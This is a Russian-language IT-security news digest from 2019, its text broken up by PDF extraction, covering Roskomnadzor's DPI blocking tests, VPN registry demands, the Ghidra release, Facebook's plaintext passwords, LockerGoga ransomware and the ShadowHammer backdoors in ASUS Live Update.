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РОСКОМНАДЗОР,
БЛОКИРОВКИ И DPI
Про вер ка Рунета на «суверен ность»
Ссы лаясь  на  собс твен ные  источни ки,  газета  «Ведомос ти»  сооб щила,  что
Рос комнад зор  выб рал  наибо лее  эффектив ное  решение  для  бло киров ки
Telegram и не толь ко. Таковым была приз нана раз работ ка ком пании RDP.RU,
в лабора тор ных усло виях про демонс три ровав шая стоп роцен тную эффектив‐ 
ность  бло киров ки  мес сен дже ра.  По  дан ным  изда ния,  бло киро вать  мес сен‐ 
джер пред полага ется пос редс твом исполь зования DPI‐сис темы (Deep Packet
Inspection, глу бокая филь тра ция тра фика), соз данной RDP.RU.

На пом ню,  что  о  пер вых  испы тани ях  сис тем  ана лиза  и  филь тра ции  тра‐ 
фика, про веден ных ФСБ, Рос комнад зором и Минис терс твом циф рового раз‐ 
вития,  еще  в  августе  2018  года рас ска зыва ло  агентство  .  Тог да  тес‐ 
тирова ние про води лось на сети Рос телеко ма в Реуто ве.

Reuters

Тем вре менем РБК, тоже ссы лаясь на собс твен ные источни ки в отрасли,
пишет,  что  Рос комнад зор  уже  нап равил  трем  опе рато рам  «боль шой  чет‐ 
верки»  (МТС,  «МегаФо ну»  и  «Вым пелКо му»)  пред ложение  про тес тировать
на  их  сетях  в  каком‐либо  реги оне  обо рудо вание  для  глу бокой  филь тра ции
тра фика, раз работан ное RDP.RU. Сооб щает ся, что цель тес тирова ния — под‐ 
готов ка  к  реали зации  так  называ емо го 

,  который  был  вне сен  в  Гос думу  в  декаб ре  2018  года  и  уже  при нят
в пер вом чте нии в фев рале 2019 года.

за коноп роек та  о  «суверен ном
Рунете»

Ин терес но,  что,  по  дан ным  РБК,  в  рам ках  этих  испы таний  пла ниру ется
не толь ко про верить воз можность DPI‐сис темы филь тро вать кон тент из реес‐ 
тра  зап рещен ных  ресур сов  (в  пер вую  оче редь  речь,  конеч но,  идет
о Telegram). Так же пла ниру ется про верить воз можность при ори тиза ции тра‐ 
фика и пос леду юще го сни жения ско рос ти дос тупа к отдель ным сер висам. Да,
речь  о  прин ципе  сетево го  ней тра лите та,  сог ласно  которо му  про вай деры
не  отда ют  пред почте ния  одно му  целево му  пред назна чению  перед  дру гим
или одним клас сам при ложе ний.

Из дание  напоми нает,  что  еще  в  2018  году  гла ва  «Рос телеко ма» Миха ил
Осе евский объ яснял  необ ходимость  такой меры  тем,  что  это  поз волило бы
перело жить часть рас ходов за хра нение кон тента в рам ках «закона Яро вой»
с  рос сий ских  опе рато ров  свя зи  на  зарубеж ные  интернет‐ком пании,  такие
как Google и Facebook. В слу чае их отка за опе рато ры смог ли бы сни жать ско‐ 
рость дос тупа для або нен тов до сер висов этих ком паний.

«У  ряда  отрасле вых  экспер тов  сущес тву ют  опа сения,  что  обо рудо- 
вание,  уста нов ленное  для  про тиво дей ствия  угро зам,  в  даль нейшем
может  быть  исполь зовано  в  целях  при ори тиза ции  тра фика  одних
ресур сов и дис кри мина ции дру гих, соз натель но или в резуль тате сбо- 
ев в работе»

— под твер дил жур налис там гла ва Рос сий ской ассо циации элек трон ных ком‐ 
муника ций Сер гей Плу гота рен ко.

«С  помощью  DPI  мож но  впол не  успешно  при ори тизи ровать  тра фик
и сни зить ско рость дос тупа  к YouTube или любому дру гому ресур су.
В  2009–2010  годах,  ког да  был  рас цвет  популяр ности  тор рент‑тре- 
керов,  мно гие  опе рато ры  свя зи  ста вили  себе  DPI  как  раз  для  того,
что бы  рас позна вать  P2P-тра фик  и  сни жать  ско рость  ска чива ния
на  тор рентах,  так  как  каналы  свя зи  не  выдер живали  такой  наг рузки.
Так что опыт пес симизи рова ния некото рых видов тра фика у опе рато- 
ров уже име ется»

— говорит ген дирек тор Diphost и соз датель сай та Эшер II Филипп Кулин.

«Тех нологии  DPI  могут  при менять ся  для  при ори тиза ции  тра фика.
Думаю,  что  прин ципу  сетевой ней траль нос ти  в Рунете оста лись  счи- 
таные недели и его отме на может кос нуть ся не толь ко Google и Face-
book. Нич то не меша ет опе рато рам свя зи ввес ти тариф „Соци аль ные
сети“ и „Веб‑поч та и виде окон тент“, по которым пла тить за нор маль- 
ную  ско рость  дос тупа  к  соот ветс тву ющим  ресур сам  при дет ся  уже
конеч ным  поль зовате лям.  Если  воз ника ет  воз можность  залезть
в  чужой  кар ман,  то  зачем  огра ничи вать  себя  исклю читель но  кар- 
манами  индус три аль ными?  Поль зователь ские  кар маны  пусть  и  не
такие глу бокие, но дос таточ но мно гочис ленные»

— счи тает руково дитель Qrator Labs Алек сандр Лямин.

Тре бова ние к VPN-сер висам
В кон це мар та на офи циаль ном сай те Рос комнад зора появи лось сооб щение
о  том,  что  тре бова ния  под клю чить ся  к  государс твен ной  информа цион ной
сис теме  (ФГИС) были нап равле ны  вла дель цам десяти VPN‐сер висов: Nord‐
VPN, Hide My Ass!, Hola VPN, OpenVPN, VyprVPN, ExpressVPN, TorGuard, IPVan‐
ish, Kaspersky Secure Connection и VPN Unlimited.

В заяв лении регуля тора ска зано, что сог ласно федераль ному закону «Об
информа ции...»  ука зан ные  сер висы  обя заны  под клю чить ся  к  ФГИС
в течение 30 рабочих дней с момен та нап равле ния тре бова ний («для получе‐ 
ния  дос тупа  к  акту аль ной  вер сии  еди ного  реес тра  зап рещен ной  информа‐ 
ции»).

На пом ню, что ФГИС содер жит информа цию о ресур сах, дос туп к которым
дол жен быть заб локиро ван на тер ритории РФ. В свою оче редь, закон о жес‐ 
ткой  регуля ции  ано нимай зеров  и  VPN,  которые  могут  быть  исполь зованы
для  обхо да  бло киро вок,  был  вне сен  в  Думу  еще  летом  2017  года  и  уже
в нояб ре всту пил в силу (276‐ФЗ).

«В слу чае выяв ления фак та несоб людения пре дус мотрен ных законом
обя зан ностей Рос комнад зор может при нять решение об огра ниче нии
дос тупа к VPN-сер вису. В нас тоящее вре мя к ФГИС под клю чены опе- 
рато ры  поис ковых  сис тем  Яндекс,  „Спут ник“,  Mail.ru,  Rambler.
В  начале  текуще го  года  ком пания  Google  была  оштра фова на  Рос- 
комнад зором  на  500  тысяч  руб лей  за  неис полне ние  тре бова ний
о  под клю чении  к  ФГИС,  пос ле  чего  начала  филь тра цию  поис ковой
выдачи  в  соот ветс твии  с  реес тром.  Тре бова ния  о  под клю чении
к ФГИС в адрес VPN-сер висов и „ано нимай зеров“ ранее не нап равля- 
лись»

— сооб щает Рос комнад зор.
По  информа ции  «Говорит  Мос ква»,  тре бова ние  регуля тора  сог ласна

выпол нить  «Лабора тория  Кас пер ско го»,  тог да  как  пред ста вите ли  NordVPN,
TorGuard  и  VyprVPN  уже  заяви ли,  что  не  намере ны  это го  делать.  При  этом
раз работ чики  TorGuard  и  вов се  рас ска зали  о  том,  что  прек ратят  исполь‐ 
зование  рос сий ских  сер веров  и  очис тят  их  ради  безопас ности  поль зовате‐ 
лей.

 ПОЛЬ ЗОВАТЕ ЛЕЙ TELEGRAM ЗА ДЕНЬ3 000 000

В середи не мар та 2019 года во всем мире про изо шел сбой в работе WhatsApp, Facebook и In‐
stagram, длив ший ся око ло  . Как ста ло извес тно поз же,  гло баль ные неполад ки были
спро воци рова ны  некими  «изме нени ями  в  кон фигура ции  сер вера»,  потянув шими  за  собой
целый кас кад проб лем.

14 часов

На сле дующий день пос ле сбоя из Facebook уво лились сра зу два топ‐менед жера — дирек тор
по  раз витию  про дук та  Крис  Кокс  и  гла ва  под разде ления WhatsApp  Крис Дэни элс,  и  вряд  ли
это было прос тым сов падени ем.

Тем  вре менем  Павел  Дуров  сооб щил  в  сво ем  Telegram‐канале,  что  все го  за  сут ки  «прос тоя»
WhatsApp,  Facebook  и  Instagram  к  Telegram  под клю чилось    новых  поль зовате лей.
«Отлично.  У  нас  здесь  нас тоящая  при ват ность  и  неог раничен ное  прос транс тво  для  всех»,  —
пишет Дуров.

3  000  000

ИСХОДНИКИ GHIDRA
ОТКРЫТЫ
Пред ста вите ли  Агентства  наци ональ ной  безопас ности  США  объ яви ли
об  откры тии  исходных  кодов  Ghidra  —  инс тру мен та  для  обратно го  инжи‐ 
нирин га, который сами спец служ бы при меня ют уже поряд ка двад цати лет.

Ши рокая общес твен ность узна ла о Ghidra в 2017 году бла года ря докумен‐ 
там Vault7, опуб ликован ным WikiLeaks. Впро чем, до это го факт сущес тво вания
Ghidra тоже не был засек речен.

В нас тоящее вре мя Ghidra уже мож но заг рузить с  , и в
ско ром  вре мени  исходные  коды  так же  пла ниру ют  раз местить  на  .
Ghidra написа на на Java и име ет GUI, работа ющий под Windows, Mac и Linux.

офи циаль ного сай та
GitHub

Мно гие  ИБ‐спе циалис ты  счи тают,  что  это  рас кры тие  кодов  может  кар‐ 
диналь но изме нить дав но сло жив шуюся ситу ацию. Дело в  том, что бес плат‐ 
ная и опен сор сная Ghidra может стать серь езной аль тер нативой мно гим ана‐ 
логич ным инс тру мен там  в  целом и  проп риетар ной  и  плат ной  IDA Pro  в  час‐ 
тнос ти  (инте рак тивно му  дизас сем бле ру,  который  широко  при меня ется
для  ревер са,  но  его  лицен зион ная  вер сия  сто ит  нес коль ко  тысяч  дол ларов
в год).

Нуж но ска зать, что релиз не обо шел ся без нак ладок. Бук валь но через нес‐ 
коль ко  часов пос ле пуб ликации в  коде Ghidra обна ружи ли пер вый баг. Бри‐ 
тан ский  ИБ‐эксперт  и  гла ва  Hacker  House  Мэттью  Хики  (Matthew  Hickey)
заметил,  что  в  отла доч ном  режиме  инс тру мент  АНБ  откры вает  и  «слу шает»
сетевой  порт  18001,  что  поз воля ет  под клю чить ся  к  Ghidra  уда лен но,  через
JDWP (разуме ется, с целью все той же отладки). Хики отме чал, что испра вить
проб лему сов сем нес ложно.

Пос тепен но  всплы вают  и  дру гие  баги.  Нап ример,  была  най дена  воз‐ 
можность экс плу ати ровать XXE при усло вии, что поль зователь Ghidra откро ет
спе циаль но сфор мирован ный про ект.

Тем  вре менем мы  уже  пос вятили  изу чению Ghidra  две  статьи.  В  пер вом
матери але  , а во вто ром раз бира ем прак тичес кий
кейс и  .

срав нива ем Ghidra и IDA Pro
ло маем нес ложную крэк ми MalwareTech

Брай ан  Эктон  (Brian  Acton),  один  из  соос новате лей  мес сен дже ра WhatsApp,  теперь  при над‐ 
лежаще го ком пании Facebook, про дол жает выс казывать ся о соци аль ной сети в край не негатив‐ 
ном клю че.

Во вре мя выс тупле ния в Стэн форд ском уни вер ситете Эктон отме тил,  что  круп ные  тех нологи‐ 
чес кие  ком пании  (такие  как  Apple  и  Google)  и  соци аль ные  медиа  поп росту  не  справ ляют ся
с модера цией кон тента, а поль зовате ли лишь уве личи вают их вли яние. Дело в том, что Эктон
убеж ден: для Facebook на пер вом мес те сто ит вов се не при ват ность поль зовате лей, а монети‐ 
зация про дук тов.

→«Эти  ком пании  не  рас полага ют  необ ходимы ми  средс тва ми  для  при нятия  таких  решений.
А мы даем им власть. И это самое страш ное. Мы покупа ем их про дук цию. Мы регис три руем ся
на таких сай тах. Уда лите Facebook, лад но?»
— Эктон во вре мя выс тупле ния в Стэн форд ском уни вер ситете

FACEBOOK
И 600 МИЛЛИОНОВ
ПАРОЛЕЙ
Ком пания  Facebook  в  оче ред ной  раз  ока залась  в  цен тре  скан дала,  свя зан‐ 
ного с при ват ностью поль зователь ских дан ных. На этот раз выяс нилось, что
пароли 200–600 мил лионов поль зовате лей от Facebook Lite, Facebook и Insta‐
gram хра нились на сер верах ком пании в фор мате прос того тек ста, дос тупные
тысячам сот рудни ков.

Пер вым  о  дан ной  проб леме  рас ска зал  извес тный  ИБ‐жур налист  Брай ан
Кребс  (Brian Krebs). В сво ей статье Кребс ссы лал ся на дан ные, получен ные
от  неназ ванно го  сот рудни ка  Facebook,  занима юще го  в  ком пании  некий
руково дящий пост.

По  информа ции  Креб са,  в  нас тоящее  вре мя  Facebook  про водит  внут‐ 
реннее  рас сле дова ние,  которое  уже  выяви ло,  что  пароли  сотен  мил лионов
поль зовате лей  хра нились  в  откры том  виде  и  были  сво бод но  дос‐ 
тупны  20  000  сот рудни ков  ком пании.  Источник  сооб щил,  что  пока  пред ста‐ 
вите ли  соци аль ной  сети  не  сумели  уста новить  точ ное  количес тво  паролей,
а  так же  опре делить,  как  дав но  те  были  дос тупны  сот рудни кам.  Некото рые
дан ные ока зались датиро ваны 2012 годом.

Так же, по сло вам источни ка, в логах уже были обна руже ны сви детель ства
того,  что  око ло  2000  инже неров  и  раз работ чиков  Facebook  сде лали  поряд‐ 
ка 9 000 000 внут ренних зап росов к эле мен там дан ных, содер жавшим поль‐ 
зователь ские пароли в откры том виде.

Пос ле пуб ликации Креб са пред ста вите ли Facebook были вынуж дены опуб‐ 
ликовать офи циаль ное заяв ление о слу чив шемся.

В  ком пании  под твер дили,  что  проб лему  с  пароля ми  обна ружи ли  еще  в
янва ре текуще го года и в нас тоящее вре мя про водит ся рас сле дова ние. Пока
в  Facebook  не  готовы  наз вать  точ ные  даты  и  циф ры  (впро чем,  сооб щает ся,
что  речь  идет  о  десят ках  мил лионов  пос тра дав ших  поль зовате лей). Одна ко
пред ста вите ли соци аль ной сети уве ряют, что пароли поль зовате лей не были
«вид ны»  никому  за  пре дела ми  Facebook,  а  к  нас тояще му  момен ту  не  выяв‐ 
лено  ни  одно го  слу чая  зло упот ребле ния  эти ми  дан ными  со  сто роны  сот‐ 
рудни ков.

Сог ласно  заяв лению  соци аль ной  сети,  пароли  на  сер верах  ком пании,
разуме ется,  сох ранялись  «неп редна мерен но».  В  нас тоящее  вре мя  все
пароли  уже  были  скры ты,  а  пос тра дав ших  поль зовате лей  обя затель но  уве‐ 
домят о слу чив шемся, как толь ко рас сле дова ние инци ден та будет закон чено.

УЯЗ ВИМОС ТИ? MICROSOFT!
Ка кие уяз вимос ти и экс пло иты всег да вос тре бован ны сре ди зло умыш ленни ков и инте ресу ют их
боль ше все го? Спе циалис ты  ком пании Recorded Future под счи тали,  что  в 2018  году 
самых популяр ных сре ди прес тупни ков уяз вимос тей были обна руже ны в про дук тах Microsoft.
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Ста тис тика Recorded Future осно выва ется на дан ных из тысяч раз личных источни ков. Спе‐ 
циалис ты изу чали репози тории с кодом, хакер ские форумы и сай ты в дар кне те. Так же они про‐ 
ана лизи рова ли активность   наборов экс пло итов и   тро янов уда лен ного дос тупа.167 429

Уяз вимос ти в решени ях   «лидиру ют» уже вто рой год под ряд, тог да как в 
 прес тупни ков боль ше инте ресо вали баги в  .

Microsoft 2015–
2016 годах Adobe Flash Player

В общей слож ности количес тво экс пло ит‐китов в 2018 году сок ратилось на  .50%
Нес мотря на общий тренд уга сания экс пло ит‐китов, в 2018 году на сце не появи лись сра зу

 новых наборов:  ,  ,  ,   и  .5 Best Pack Creep Darknet Angler Fallout LCG Kit

О каких экс пло ит‐китах и проб лемах чаще все го говорят в дар кне те

Все  по‐преж нему  активные  наборы  экс пло итов  исполь зовали  хотя  бы    наибо лее
популяр ных уяз вимос тей года.
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Ста рей шая  проб лема  в  спис ке  иссле дова телей  (каса ется  Microsoft  Office)  датиро вана
, но про дол жает исполь зовать ся до сих пор.2012 годом

По мимо про дук тов Microsoft, в спи сок попали уяз вимос ти в   и  .Adobe Flash Player Android

Топ‐10 самых «популяр ных» уяз вимос тей 2018 года

GOOGLE СНОВА
ОШТРАФОВАЛИ
В  тре тий  раз  за  пос ледние  два  года  Евро комис сия  наложи ла  на  ком панию
Google круп ный штраф. На этот раз проб лемы у поис кового гиган та воз никли
из‐за  зло упот ребле ния  домини рующим  положе нием  на  рын ке  рек ламы.
В  час тнос ти,  речь  идет  об  AdSense  for  Search.  То  есть  дело  не  в  тех  рек‐ 
ламных  объ явле ниях,  что  отоб ража ются  в  резуль татах  поис ка  Google.com,
дело в кас томном поис ке через Google, который может быть встро ен на дру‐ 
гие сай ты (как пра вило, для поис ка по ним же).

По  дан ным  регуля тора,  более  десяти  лет  (с  2006  по  2016  год)  Google
поль зовалась  тем, что занима ет домини рующую позицию в сфе ре рек ламы,
и мешала дру гим ком пани ям кон куриро вать и раз вивать ся. Google не толь ко
навязы вала ком пани ям свою рек ламную плат форму, но и не поз воляла сво им
кон курен там  раз мещать  рек ламные  объ явле ния  на  таких  сай тах,  тог да
как  рек лама  самой  Google  получа ла  луч шие  мес та  («пре миаль ное  раз‐ 
мещение»,  или  Premium  Placement).  Про исхо див шее  хорошо  иллюс три рует
пред став ленная регуля тором кар тинка.

Хо тя на этот раз Google сот рудни чала с Евро комис сией, а в работу AdSense
дав но были вне сены изме нения, из‐за допущен ных наруше ний ком пания все
рав но  дол жна  будет  вып латить  штраф  в  раз мере  1,49  мил лиар да  евро
(1,69 мил лиар да дол ларов США).

Как  было  упо мяну то  выше,  это  уже  тре тий  круп ный  штраф,  получен ный
Google от евро пей ско го регуля тора. Так, в 2017 году ком панию обя зали вып‐ 
латить  2,4  мил лиар да  евро  из‐за  манипу ляций  резуль татами  поис ка,
а  в 2018  году еще 4,34 мил лиар да из‐за мно гочис ленных анти моно поль ных
наруше ний, свя зан ных с мобиль ной ОС Android.

Ин терес но,  что  имен но  теперь,  ког да  ста ло  извес тно  о  новом  решении
Евро комис сии  и  новом  штра фе,  спе циалис ты  Google  анон сирова ли,  что
в бли жай шее вре мя евро пей ские поль зовате ли Android смо гут самос тоятель‐ 
но решать, каким поис ковиком и бра узе ром они хотят поль зовать ся по умол‐ 
чанию. В свою оче редь, для Google Play, Google Chrome и Google Search были
соз даны  отдель ные  лицен зии,  и  про изво дите ли  смо гут  пред ложить  покупа‐ 
телям аль тер нативу.

 ДОЛ ЛАРОВ ЗАРАБО ТАЛИ WHITE HAT
В 2018 ГОДУ
19 000 000

Ад минис тра ция  про екта  HackerOne  опуб ликова ла  офи циаль ную  ста тис тику  за  2018  год.
Как ока залось, в прош лом году этич ные хакеры зарабо тали на воз награж дени ях за уяз вимос ти

  дол ларов.  Для  срав нения:  за  весь  пери од  сущес тво вания  HackerOne,
с 2012 по 2017 год, учас тни ки плат формы получи ли при мер но столь ко же.
19  000  000

На ибо лее  активны ми  ока зались  иссле дова тели  из  ,  ,  ,    и 
. Поль зовате ли из этих стран сос тавля ют   активных учас тни ков прог рамм

bug bounty.

Ин дии США Рос сии Па кис тана Ве- 
ликоб ритании 51%

Так же адми нис тра ция HackerOne рас ска зала о двух людях, которые зарабо тали на багах более
 дол ларов каж дый. Пер вым таким рекорд сме ном стал Санть яго Лопес aka try_to_hack

из Аргенти ны. Он был само учкой, ког да зарегис три ровал ся на HackerOne в 2015 году, в воз‐ 
расте шес тнад цати лет. За про шед шие  годы он нашел более   уяз вимос тей, в том чис ле
в решени ях Twitter и Verizon Media.

1 000 000

1600

Вто рой мил лионер HackerOne — Марк Лич филд aka mlitchfield. Он уже помог испра вить более
 багов в про дук тах таких ком паний, как Dropbox, Yelp, Venmo, Starbucks, Shopify и Rockstar

Games.
900
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LOCKERGOGA И ЕГО
ЖЕРТВЫ
Пос тра дав шие
В мар те 2019 года шиф роваль щик LockerGoga ата ковал одно го из круп ней‐ 
ших про изво дите лей алю миния в мире — нор веж скую ком панию Norsk Hydro,
а  так же  жер тва ми  мал вари,  похоже,  ста ли  две  круп ные  аме рикан ские  ком‐ 
пании, про изво дящие силико ны, смо лы и дру гие химичес кие вещес тва: Hex‐
ion и Momentive.

В резуль тате инци ден та в Norsk Hydro пос тра дало боль шинс тво ИТ‐сис тем
ком пании,  а  рабочие  про цес сы  во  мно гих  под разде лени ях  США  и  Евро пы
приш лось перевес ти в руч ной режим или при оста новить вов се.

Хо тя  пред ста вите ли  Norsk  Hydro  опи сыва ли  слу чив шееся  как  нас тоящую
катас тро фу, в ком пании тем не менее при няли решение не пла тить зло умыш‐ 
ленни кам выкуп и вос ста новить инфраструк туру из резер вных копий.

Поз же ста ло извес тно, что Norsk Hydro может быть не единс твен ной жер‐ 
твой  LockerGoga  за  пос ледние  недели.  В  рас поряже нии  редак ции  изда ния
Vice Motherboard  ока залось  внут реннее  пись мо,  нап равлен ное  сот рудни кам
Momentive  гла вой  ком пании  Дже ком  Бос сом  (Jack  Boss).  В  пос лании  тот
пишет  о  неко ем  «гло баль ном  ИТ‐отклю чении»  и  про сит  бро сить  на  раз‐ 
решение проб лемы все силы. Так же в пись ме говорит ся, что дан ные на всех
заражен ных  машинах,  ско рее  все го,  уте ряны  без воз врат но  и  ком пания  уже
заказа ла «сот ни новых компь юте ров».

Срав нив  вымога тель ское  сооб щение,  оставлен ное  шиф роваль щиком
в  сис темах  Hexion  и Momentive,  с  сооб щени ем  из  Norsk  Hydro,  жур налис ты
приш ли к выводу, что ком пании, веро ятнее все го, пос тра дали от одной и той
же угро зы, то есть от LockerGoga.

Пред ста вите ли  Hexion,  в  свою  оче редь,  уже  обна родо вали  пресс‐релиз,
сооб щающий,  что  ком пания  ста ла  жер твой  неко его  ИБ‐инци ден та  и  в  нас‐ 
тоящее  вре мя  ста рает ся  вер нуть ся  к  нор маль ной  работе.  Каких‐либо  под‐ 
робнос тей о слу чив шемся в ком пании не рас кры вают, и пред ста вите ли Hex‐
ion отка зались от ком мента риев.

До  недав него  вре мени  и  ата ки  на  алю мини ево го  гиган та  Norsk  Hydro
единс твен ной дру гой под твержден ной жер твой LockerGoga счи талась фран‐ 
цуз ская  кон салтин говая  ком пания  Altran,  которую  шиф роваль щик  ата ковал
в кон це янва ря 2019 года.

О LockerGoga
Пред ста вите ли  пос тра дав ших  ком паний  не  вда вались  в  тех ничес кие  под‐ 
робнос ти  слу чив шегося,  но  в Сети  уже  появи лось мно жес тво  теорий,  в  том
чис ле и от ИБ‐спе циалис тов.

Од ним  из  иссле дова телей,  опуб ликовав ших  свой  ана лиз  инци ден та
в  Norsk  Hydro,  стал  извес тный  ИБ‐эксперт  Кевин  Бомонт  (Kevin  Beaumont).
Бомонт  полагал ся  на  ана лиз  образцов  мал вари,  заг ружен ных  на  VirusTotal,
и счи тает, что зараже ние LockerGoga ста ло «финаль ным штри хом» в хорошо
под готов ленной  ата ке.  По  мне нию  спе циалис та,  зло умыш ленни ки  про ник ли
в сеть Norsk Hydro и раз вивали свою ата ку, пока не доб рались до сер вера Ac‐
tive Directory.

Де ло в том, что у LockerGoga отсутс тву ет такая же спо соб ность к самораз‐ 
мно жению,  которая  отли чала  WannaCry,  NotPetya  и  Bad  Rabbit,  а  зна чит,
инфраструк тура  ком пании  мог ла  пос тра дать  в  таком  мас шта бе  лишь  в  том
слу чае, если ата кующие исполь зовали Active Directory, что бы рас простра нить
вре доно са на все рабочие стан ции одновре мен но.

Так же  иссле дова тель  отме чает,  что  LockerGoga  был  соз дан,  что бы
работать  очень  быс тро:  мал варь  прив лека ет  все  мощ ности  и  воз можнос ти
CPU,  что бы  шиф рование  дан ных  на  сред ней  сис теме  занима ло  лишь  нес‐ 
коль ко  минут.  Кро ме  того,  LockerGoga  отклю чал  все  сетевые  кар ты
на заражен ных машинах и менял пароль от локаль ного акка унта адми нис тра‐ 
тора,  что  сущес твен но  зат рудня ло  вос ста нов ление  пос тра дав ших  сис тем.
Фак тичес ки  это  вынуди ло  спе циалис тов  уста нав ливать  бэкапы  вруч ную,
на каж дый отдель ный компь ютер.

Те орию Бомон та в некото ром роде под твержда ет пре дуп режде ние, опуб‐ 
ликован ное  ранее  NorCERT.  Экспер ты  пре дос терег ли  ком пании  об  угро зе
LockerGoga и  воз можных  ата ках  и  тоже  упо мина ли  век тор рас простра нения
через Active Directory.

Дру гая теория, обна родо ван ная ана лити ками ком пании Cisco Talos, и вов‐ 
се гла сит, что LockerGoga — это не обыч ный шиф роваль щик, авто ры которо‐ 
го прес леду ют финан совую выгоду. По мне нию спе циалис тов, фун кци ональ‐ 
ность LockerGoga ско рее схо жа не с клас сичес кими шиф роваль щиками, а с
вай перами  (wiper, от англий ско го wipe — «сти рать»,  «уда лять»),  то есть дес‐ 
трук тивной мал варью, которая намерен но пор тит и унич тожа ет дан ные.

По этой при чине иссле дова тели Cisco Talos полага ют, что недав ние ата ки
мог ли быть делом рук пра витель ствен ных хакеров. Впро чем, эта теория поч ти
не под креп лена фак тами, а на мысль о том, что шиф роваль щик мог быть лишь
прик рыти ем для более слож ной опе рации, экспер тов навела недав няя ата ка
на  дру гую  нор веж скую  ком панию:  в  фев рале  2019  года  жер твой  китай ской
APT10  ста ла  ком пания  Visma,  один  из  круп ней ших  в  Евро пе  пос тавщи ков
облачных тех нологий.

В честь 30‐летия WWW сэр Тимоти Джон Бер нерс‐Ли, один из соз дателей Все мир ной паути ны,
опуб ликовал  откры тое  пись мо,  в  котором  приз нал,  что  у  сов ремен ного  интерне та мно жес тво
проб лем.  Ата ки  «пра витель ствен ных  хакеров»,  все воз можные  сор та  мошен ничес тва,  сетевая
трав ля, рек ламные модели, поощ ряющие клик бей ты и рас простра нение фаль шивых новос тей,
а соци аль ные медиа и вов се прев ратились в пло щад ки для полити чес ких свар.

Тем не менее сэр Бер нерс‐Ли убеж ден, что еще не все потеря но и стро ить «новый интернет»
вза мен испорчен ного пока рано.

→«Учи тывая,  как  силь но  изме нил ся  веб  за  пос ледние  трид цать  лет,  пред положить,  что  веб,
каким мы  зна ем  его  сегод ня,  нес пособен  изме нить ся  к  луч шему  в  сле дующие  трид цать  лет,
было бы поражен чес твом и огра ничен ностью. Если мы прос то мах нем рукой на попыт ки соз‐ 
дания луч шего веба сей час, это будет озна чать, что не веб нас под вел. Это мы тог да под ведем
веб»
— «отец» WWW в сво ем откры том пись ме

БЭКДОРЫ В ПО ASUS
Эк спер ты «Лабора тории Кас пер ско го» обна ружи ли, что ком пания Asus ста ла
жер твой  вре донос ной  кам пании  ShadowHammer.  Неиз вес тные  зло умыш‐ 
ленни ки  ском про мети рова ли  про изво дите ля,  сумели  зак репить ся  в  сети
и  при нялись  раз давать  бэк доры  через  пре дус танов ленный  на  устрой ства
Asus  инс тру мент  для  авто мати чес кого  обновле ния  ASUS  Live  Update.  Он
исполь зует ся  для  обновле ния  BIOS,  UEFI,  драй веров  и  при ложе ний.  Вре‐ 
донос ные  вер сии  были  раз мещены  на    и 

.  Вско ре  выводы  ана лити ков  «Лабора тории  Кас пер ско го»
под твер дили их кол леги из ком пании Symantec.

liveupdate01s.asus.com liveup‐
date01.asus.com

Ата ка име ла мес то меж ду июнем и нояб рем 2018 года (то есть хакеры кон‐ 
тро лиро вали ASUS Live Update око ло полуго да) и сум марно мог ла зат ронуть
более  мил лиона  устрой ств  по  все му  миру,  хотя  изна чаль ной  целью  ата‐ 
кующих был срав нитель но неболь шой пул поль зовате лей.

Зло умыш ленни ки «опоз навали» сво их жертв по зашито му в ском про мети‐ 
рован ную  ути литу  спис ку  MAC‐адре сов.  Изу чив  око ло  200  вре донос ных
образцов, экспер ты обна ружи ли более 600 таких хешей.

Ин тересен и тот факт, что заражен ные вер сии апдей тера были под писаны
дву мя дей стви тель ными сер тифика тами ASUSTeK Computer  Inc. Один из них
истек  в  середи не  2018  года,  и  тог да  ата кующие  перек лючились  на  вто рой,
который до сих пор не был отоз ван.

Од нако сами пред ста вите ли Asus хра нили мол чание. Хуже того, выяс нилось,
что изна чаль но про изво дитель вооб ще отри цал, что его сер веры были ском‐ 
про мети рова ны, пытал ся вынудить сот рудни ков «Лабора тории Кас пер ско го»
под писать сог лашение о нераз гла шении, а потом прак тичес ки перес тал под‐ 
держи вать со спе циалис тами кон такт.

Лишь пос ле того, как о слу чив шемся ста ло извес тно все му миру, пред ста‐ 
вите ли Asus были вынуж дены выпус тить офи циаль ный пресс‐релиз,  который
получил ся  нес коль ко  стран ным.  Так,  в  ком пании  сооб щили  о  релизе  ASUS
Live  Update  вер сии  3.6.8,  содер жащей  исправ ления  (то  есть  зак рыва ющей
«дыру»,  через  которую  хакеры  пос тавля ли  бэк доры  на  машины  поль зовате‐ 
лей). При  этом не  сов сем  ясно,  уда ляет  ли обновле ние  все  сле ды при сутс‐ 
твия заражен ной вер сии из сис темы. Так же неяс но, дос таточ но ли уста нов ки
вер сии  3.6.8  для  всех  пос тра дав ших,  или  поль зовате лям,  которые  вхо дили
в спи сок целей зло умыш ленни ков, уже пора бро сать все дела и как минимум
пере уста нав ливать ОС.

Для пре дот вра щения подоб ных инци ден тов защит ные механиз мы ути литы
были  улуч шены,  а  так же  появи лось  шиф рование  end‐to‐end.  Кро ме  того,
в  Asus  уве ряют,  что  обно вили  и  улуч шили  всю  архи тек туру,  с  помощью
которой конеч ные поль зовате ли «обща ются» с сер верами ком пании.

Так же  документ  гла сит,  что  про изо шед шая  ата ка  была  не  такой  уж  мас‐ 
штаб ной:  яко бы  зло умыш ленни ков  инте ресо вала  очень  неболь шая  и  спе‐ 
цифи чес кая  груп па  поль зовате лей  и  вре донос ный  код  про ник  на  край не
малое количес тво устрой ств. Более того, про изво дитель утвер жда ет, что пос‐ 
тра дали толь ко вла дель цы ноут буков. Никаких кон крет ных цифр пред ста вите‐ 
ли Asus не называ ют, хотя у ком пании, в отли чие от иссле дова телей, есть дос‐ 
туп  ко  всем  необ ходимым  логам  и  о  проб леме  в  ком пании  узна ли  еще  два
месяца тому назад.

В  завер шение  сто ит  заметить,  что  «Лабора тория  Кас пер ско го»  вооб ще
не упо мяну та в заяв лении Asus. Вмес то это го к докумен ту при ложе на ссыл ка
на отчет ком пании FireEye, в общих чер тах рас ска зыва ющий о деятель нос ти
APT‐груп пировок, никак не свя зан ных с дан ным инци ден том.

К сожале нию, это не пер вый раз, ког да ком панию Asus ули чают в при мене‐ 
нии  сла бых  мер  безопас ности.  Так,  Федераль ная  тор говая  комис сия  США
ранее уже судилась с Asus, и в 2016 году сто роны приш ли к сог лашению, сог‐ 
ласно  которо му  в  бли жай шие  двад цать  лет  безопас ность  ком пании  будут
регуляр но про верять незави симые ауди торы. Впро чем, тог да речь шла толь‐ 
ко о под разде лении, раз рабаты вающем домаш ние роуте ры.

